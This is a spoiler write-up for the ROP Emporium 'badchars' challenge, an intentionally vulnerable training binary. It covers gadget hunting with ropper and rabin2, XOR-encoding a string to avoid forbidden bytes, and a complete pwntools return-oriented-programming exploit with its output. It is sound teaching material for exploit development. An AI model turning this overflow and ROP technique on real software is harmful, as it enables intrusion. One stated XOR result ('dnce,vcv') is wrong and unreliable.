ROP Emporium Pt. 5: badchars
SPOILER WARNING: This page will contain potential spoilers, so consider that
before continuing
ROP Emporium is a collection of challenges designed to teach return-oriented
programming (ROP) techniques by slowly introducing new concepts and increasing
difficulty. If you're looking for a spoiler-free guide, check out the one
included on their website.
This challenges builds upon the last by adding in a set of bad characters that
will halt the execution of our chain upon usage. The challenge hint suggests
two possible ways of approaching this:
1. Avoiding the characters altogether
or
2. Using an XOR function to alter our string in memory.
badchars.html
───────────────────────────────────────────────────────────────────────────────
Think about how we're going to overcome the badchars issue; should we try to
avoid them entirely, or could we use gadgets to change our string once it's
in memory?
───────────────────────────────────────────────────────────────────────────────
We'll start by running the program once to allow it to print out the bad chars.
./badchars
──────────────────────────────────
$ ./badchars
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
>
──────────────────────────────────
Like before, we have a print_file() function to which we'll need to pass our
string 'flag.txt'. Unfortunately, that string contains not just one, but all
of our bad chars.
First, we'll use radare to locate that function.
rabin2
────────────────────────────────────────────────────
rabin2 -i ./badchars
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x00400500 GLOBAL FUNC pwnme
2 ---------- GLOBAL FUNC __libc_start_main
3 ---------- WEAK NOTYPE __gmon_start__
4 0x00400510 GLOBAL FUNC print_file
────────────────────────────────────────────────────
We can then use Ropper to check if we have the gadgets to XOR our string.
ropper
────────────────────────────────────────────────────
$ ropper -f ./badchars | grep xor
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: xor byte ptr [r15], r14b; ret;
0x0000000000400629: xor byte ptr [rdi], dh; ret;
────────────────────────────────────────────────────
Next, we'll find a gadget to pop r14 and r15, for the XOR function.
ropper
────────────────────────────────────────────
$ ropper -f ./badchars | grep r14
0x00000000004006a0: pop r14; pop r15; ret;
────────────────────────────────────────────
And, gadgets to write our string.
ropper
──────────────────────────────────────────────────────────────
$ ropper -f ./badchars | grep r13
0x0000000000400634: mov qword ptr [r13], r12; ret;
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
──────────────────────────────────────────────────────────────
And to pop rdi, to pass to the print_file() function.
ropper
───────────────────────────────────
$ ropper -f ./badchars | grep rdi
0x00000000004006a3: pop rdi; ret;
───────────────────────────────────
Next, we'll find the address to write our string to.
rabin2
────────────────────────────────────────────────────────────────
$ rabin2 -S ./badchars | grep .data
23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data
────────────────────────────────────────────────────────────────
Now we'll write a function to do the inital XOR of our string in Python.
Then our exploit will be something like:
junk + pop_r12_r13_r14_r15 + flag + .data + 0 + 0 + mov_13_12
8 times (+ pop_r14_r15 + 2 + (.data + i))
+ pop_rdi + .data + print_file()
The XOR section needs to be iterated over each character of our string, since
our string is 8 characters, we need 8 iterations.
Starting from 1, the first key that results in none of the bad characters being
used is 2, resulting in a string that looks like 'dnce,vcv', so that's what we
will use for our XOR function.
Cyberchef makes it easy to experiment with these values but to implement this
in Python, it will look something like:
exploit.py
───────────────────────────────────
def xorString(a):
output = ""
for i in a:
output += chr(ord(i) ^ 2)
return output
───────────────────────────────────
And, the full exploit:
exploit.py
────────────────────────────────────────────────────
from pwn import *
def xorString(a):
output = b''
for i in a:
output += bytes(chr(ord(i) ^ 2), 'utf-8')
return output
e = ELF('badchars')
p = process(e.path)
context(arch='amd64', os='linux', endian='little')
junk = b'A' * 40
pop_r12_r13_r14_r15 = p64(0x40069c)
flag = (xorString("flag.txt"))
print(flag)
data = 0x00601038 # 0x601028
mov_13_12 = p64(0x400634)
pop_r14_r15 = p64(0x4006a0)
xor_r14_r15 = p64(0x400628)
pop_rdi = p64(0x4006a3)
print_file = p64(0x400510)
payload = junk
payload += pop_r12_r13_r14_r15
payload += flag
payload += p64(data)
payload += p64(1)
payload += p64(1)
payload += mov_13_12
for i in range(8):
payload += pop_r14_r15
payload += p64(2)
payload += p64(data + i)
payload += xor_r14_r15
payload += pop_rdi
payload += p64(data)
payload += print_file
print(payload)
p.sendline(payload)
log.info(p.clean())
────────────────────────────────────────────────────
For some reason when we run the exploit, it works for all but one character,
the 'z' which fails to decode back into an 'x'.
badchars
──────────────────────────────────────
$ python3 ./exploit.py
[*] badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: flag.tzt
──────────────────────────────────────
But, if we modify the rw section that we are using, from .data to .bss, it
functions as expected.
badchars
──────────────────────────────────────
$ python3 ./exploit.py
[*] badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
──────────────────────────────────────